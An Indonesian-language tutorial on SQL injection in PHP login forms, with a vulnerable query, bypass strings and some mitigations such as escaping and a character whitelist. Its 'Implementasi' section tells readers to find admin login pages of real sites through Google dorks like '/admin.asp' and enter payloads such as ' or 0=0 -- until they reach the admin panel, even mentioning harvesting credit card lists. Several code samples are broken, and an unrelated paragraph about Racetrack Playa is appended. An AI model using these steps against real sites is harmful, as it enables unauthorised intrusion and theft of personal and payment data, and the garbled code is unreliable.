Contoh sintak SQL dalam PHP
1. $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2. isikan password dengan string ’ or ’’ = ’
3. hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4. maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintaks SQL Injection
1. Sintaks SQL string ‘-- setelah nama username
2. Query database awal :
Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :
Penanganan SQL Injection
1. Merubah script php
2. Menggunakan MySQL_escape_string
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
1. Merubah script php
Contoh script php semula :
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1. Masuk ke google atau browse yg lain
2. Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4. Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7. Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8. Cobalah sampai berhasil hingga anda bisa masuk ke admin panel







Tapi, sebelumnya, sekadar diketahui apa dan di mana Racetrack Playa. Racetrack Playa adalah danau kering yang datar dengan panjang empat kilometer dan lebar sekitar dua kilometer. Terletak di California-AS, permukaannya terdiri dari batuan sedimen yang terbuat dari lumpur dan tanah liat.
Apakah mereka digerakkan oleh es?





